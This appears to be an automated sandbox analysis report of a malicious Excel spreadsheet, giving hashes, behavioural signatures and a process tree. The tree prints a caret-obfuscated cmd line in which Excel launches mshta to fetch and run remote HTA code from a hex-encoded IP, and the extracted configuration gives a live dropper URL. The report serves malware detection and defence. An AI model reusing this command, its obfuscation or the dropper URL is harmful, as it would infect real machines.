Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-11-2024 17:32

General

  • Target

    b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls

  • Size

    115KB

  • MD5

    50f9aa9802f18f969467d55e3e042a62

  • SHA1

    104315697db3add18eefbeb14811782f8134b468

  • SHA256

    b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6

  • SHA512

    233feffe1c1e524ac29a504e369137fb3d988f36621632508ee086408e9744fc9942eb38d8aaba6fd9c49916698f44bd11daff967bbd271f92033ff573162e75

  • SSDEEP

    3072:Me+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAImxe53lGvFTQ3IzxgdrvxpU0f:z+nBqmKk3hbdlylKsgqopeJBWhZFVE+m

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe7.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3288
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe7.html
        3⤵
        • Blocklisted process makes network request
        PID:4848

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    535d2b555fa4664e1ddeebcd6815dfa3

    SHA1

    5fc5761d7ffffad622b08db3f9ff93add66bfa55

    SHA256

    a914384355c8dc4f2747b92caf4d0496bf7f3642e358f02c09244fd9b43169c0

    SHA512

    2fe1360e4949bf923133f3571213661ea774270c5085b6f4a2bb716aa818a66e53cf75fe55cf5bd8c5ad777ed65144a1b87bdd7fe532fee2c615383168f36359

  • memory/3288-14-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-1-0x00007FFDF0E4D000-0x00007FFDF0E4E000-memory.dmp

    Filesize

    4KB

  • memory/3288-13-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-5-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-8-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-10-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-9-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-7-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-12-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-11-0x00007FFDAECD0000-0x00007FFDAECE0000-memory.dmp

    Filesize

    64KB

  • memory/3288-6-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

    Filesize

    64KB

  • memory/3288-2-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

    Filesize

    64KB

  • memory/3288-4-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

    Filesize

    64KB

  • memory/3288-3-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

    Filesize

    64KB

  • memory/3288-16-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-17-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-21-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-22-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-20-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-19-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-18-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-15-0x00007FFDAECD0000-0x00007FFDAECE0000-memory.dmp

    Filesize

    64KB

  • memory/3288-33-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-34-0x00007FFDF0E4D000-0x00007FFDF0E4E000-memory.dmp

    Filesize

    4KB

  • memory/3288-35-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-39-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3288-0-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

    Filesize

    64KB